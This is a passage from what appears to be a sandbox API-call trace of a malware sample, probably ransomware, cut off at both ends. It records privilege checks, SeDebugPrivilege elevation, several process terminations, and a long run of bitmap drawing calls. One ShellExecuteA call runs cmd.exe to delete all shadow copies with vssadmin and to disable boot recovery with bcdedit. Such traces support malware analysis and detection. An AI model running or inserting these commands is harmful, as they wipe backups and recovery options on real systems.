| out: TokenHandle=0x1af0e0e8*=0x270) returned 1 [0076.844] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1af0e178 | out: TokenInformation=0x0, ReturnLength=0x1af0e178) returned 0 [0076.844] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1a570b50 [0076.844] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x8, TokenInformation=0x1a570b50, TokenInformationLength=0x4, ReturnLength=0x1af0e178 | out: TokenInformation=0x1a570b50, ReturnLength=0x1af0e178) returned 1 [0076.844] LocalFree (hMem=0x1a570b50) returned 0x0 [0076.844] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1af0e1d8 | out: phNewToken=0x1af0e1d8*=0x274) returned 1 [0076.845] CheckTokenMembership (in: TokenHandle=0x274, SidToCheck=0x2332968*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1af0e1e0 | out: IsMember=0x1af0e1e0) returned 1 [0076.845] CloseHandle (hObject=0x274) returned 1 [0077.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x1af0e170, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open\x06", lpUsedDefaultChar=0x0) returned 4 [0077.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x1af0e150, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe", lpUsedDefaultChar=0x0) returned 7 [0077.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", cchWideChar=214, lpMultiByteStr=0x1af0e060, cbMultiByte=216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", lpUsedDefaultChar=0x0) returned 214 [0077.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x1af0e040, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ðßð\x1a", lpUsedDefaultChar=0x0) returned 0 [0077.160] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="cmd.exe", lpParameters="/c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures", lpDirectory="", nShowCmd=0) returned 0x2a [0078.547] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1af0d310 | out: lpLuid=0x1af0d310*(LowPart=0x14, HighPart=0)) returned 1 [0078.548] GetCurrentProcess () returned 0xffffffffffffffff [0078.548] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1af0d308 | out: TokenHandle=0x1af0d308*=0x3bc) returned 1 [0078.548] AdjustTokenPrivileges (in: TokenHandle=0x3bc, DisableAllPrivileges=0, NewState=0x2332b30*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0078.549] CloseHandle (hObject=0x3bc) returned 1 [0079.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1221b3f0, Length=0x20000, ResultLength=0x1af0e200 | out: SystemInformation=0x1221b3f0, ResultLength=0x1af0e200*=0x11368) returned 0x0 [0079.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1221b3f0, Length=0x20000, ResultLength=0x1af0e170 | out: SystemInformation=0x1221b3f0, ResultLength=0x1af0e170*=0x11520) returned 0x0 [0079.438] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x86c) returned 0x3bc [0079.579] TerminateProcess (hProcess=0x3bc, uExitCode=0xffffffff) returned 1 [0079.590] CloseHandle (hObject=0x3bc) returned 1 [0079.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1221b3f0, Length=0x20000, ResultLength=0x1af0e170 | out: SystemInformation=0x1221b3f0, ResultLength=0x1af0e170*=0x11640) returned 0x0 [0079.592] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x81c) returned 0x3bc [0079.592] TerminateProcess (hProcess=0x3bc, uExitCode=0xffffffff) returned 1 [0079.858] CloseHandle (hObject=0x3bc) returned 1 [0079.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1221b3f0, Length=0x20000, ResultLength=0x1af0e170 | out: SystemInformation=0x1221b3f0, ResultLength=0x1af0e170*=0x11480) returned 0x0 [0079.863] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x80c) returned 0x3bc [0079.863] TerminateProcess (hProcess=0x3bc, uExitCode=0xffffffff) returned 1 [0079.864] CloseHandle (hObject=0x3bc) returned 1 [0155.853] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1a7815cc, dwData=0x0) returned 1 [0155.854] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1af0d690 | out: lpmi=0x1af0d690) returned 1 [0155.854] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xe010283 [0155.854] GetDeviceCaps (hdc=0xe010283, index=12) returned 32 [0155.854] GetDeviceCaps (hdc=0xe010283, index=14) returned 1 [0155.854] DeleteDC (hdc=0xe010283) returned 1 [0155.856] GdipCreateBitmapFromScan0 (width=1440, height=900, stride=0, format=0x26200a, scan0=0x0, bitmap=0x1af0dba8) returned 0x0 [0155.892] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0155.893] GdipGetImageGraphicsContext (image=0x1b91d2e0, graphics=0x1af0dbb8) returned 0x0 [0155.894] GetSysColor (nIndex=10) returned 0xb4b4b4 [0155.894] GetSysColor (nIndex=2) returned 0xd1b499 [0155.894] GetSysColor (nIndex=9) returned 0x0 [0155.894] GetSysColor (nIndex=12) returned 0xababab [0155.894] GetSysColor (nIndex=15) returned 0xf0f0f0 [0155.895] GetSysColor (nIndex=20) returned 0xffffff [0155.895] GetSysColor (nIndex=16) returned 0xa0a0a0 [0155.895] GetSysColor (nIndex=15) returned 0xf0f0f0 [0155.895] GetSysColor (nIndex=16) returned 0xa0a0a0 [0155.895] GetSysColor (nIndex=21) returned 0x696969 [0155.895] GetSysColor (nIndex=22) returned 0xe3e3e3 [0155.895] GetSysColor (nIndex=20) returned 0xffffff [0155.895] GetSysColor (nIndex=18) returned 0x0 [0155.895] GetSysColor (nIndex=1) returned 0x0 [0155.895] GetSysColor (nIndex=27) returned 0xead1b9 [0155.895] GetSysColor (nIndex=28) returned 0xf2e4d7 [0155.895] GetSysColor (nIndex=17) returned 0x6d6d6d [0155.895] GetSysColor (nIndex=13) returned 0xff9933 [0155.895] GetSysColor (nIndex=14) returned 0xffffff [0155.895] GetSysColor (nIndex=26) returned 0xcc6600 [0155.895] GetSysColor (nIndex=11) returned 0xfcf7f4 [0155.895] GetSysColor (nIndex=3) returned 0xdbcdbf [0155.895] GetSysColor (nIndex=19) returned 0x544e43 [0155.895] GetSysColor (nIndex=24) returned 0xe1ffff [0155.895] GetSysColor (nIndex=23) returned 0x0 [0155.895] GetSysColor (nIndex=4) returned 0xf0f0f0 [0155.895] GetSysColor (nIndex=30) returned 0xf0f0f0 [0155.895] GetSysColor (nIndex=29) returned 0xff9933 [0155.895] GetSysColor (nIndex=7) returned 0x0 [0155.895] GetSysColor (nIndex=0) returned 0xc8c8c8 [0155.896] GetSysColor (nIndex=5) returned 0xffffff [0155.896] GetSysColor (nIndex=6) returned 0x646464 [0155.896] GetSysColor (nIndex=8) returned 0x0 [0155.896] GdipGraphicsClear (graphics=0x1b87d3c0, color=0xffffffffff000000) returned 0x0 [0155.914] GdipSetInterpolationMode (graphics=0x1b87d3c0, interpolationMode=0x7) returned 0x0 [0155.915] GdipSetSmoothingMode (graphics=0x1b87d3c0, smoothingMode=0x4) returned 0x0 [0155.917] GdipSetTextRenderingHint (graphics=0x1b87d3c0, mode=0x4) returned 0x0 [0155.919] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1af0db10) returned 0x0 [0155.920] GdipCreateFont (fontFamily=0x1b819060, emSize=0x7fef27ecd25, style=0, unit=0x3, font=0x220b880) returned 0x0 [0158.657] GdipGetFontSize (font=0x1b81e980, size=0x220b888) returned 0x0 [0158.736] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.736] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.736] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.768] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=2, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.768] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.768] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=5, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.769] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=7, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.769] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=9, y=0, color=0xffffffffff00008b) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.769] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=12, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.769] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=15, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.769] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.769] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.769] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=17, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.769] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=25, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=28, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=48, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=50, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=53, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.770] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.770] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.770] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=57, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.770] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=62, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.771] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=65, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.771] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=69, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.771] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=71, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.771] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=72, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.771] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.771] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.771] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.771] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=77, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=78, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=90, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=97, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=100, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=104, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.772] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.772] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.772] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.772] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=105, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=107, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=108, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=112, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=116, y=0, color=0xffffffffff00008b) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=118, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.773] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.773] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.773] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.773] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=129, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=130, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=133, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=135, y=0, color=0xffffffffff00008b) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=136, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=140, y=0, color=0xffffffffff00008b) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.774] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.774] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.774] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=149, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.774] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=151, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=152, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=158, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=161, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=162, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.775] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.775] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=165, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.775] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.775] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=167, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=168, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=172, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=179, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=187, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.776] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.776] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=189, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.776] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.776] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, 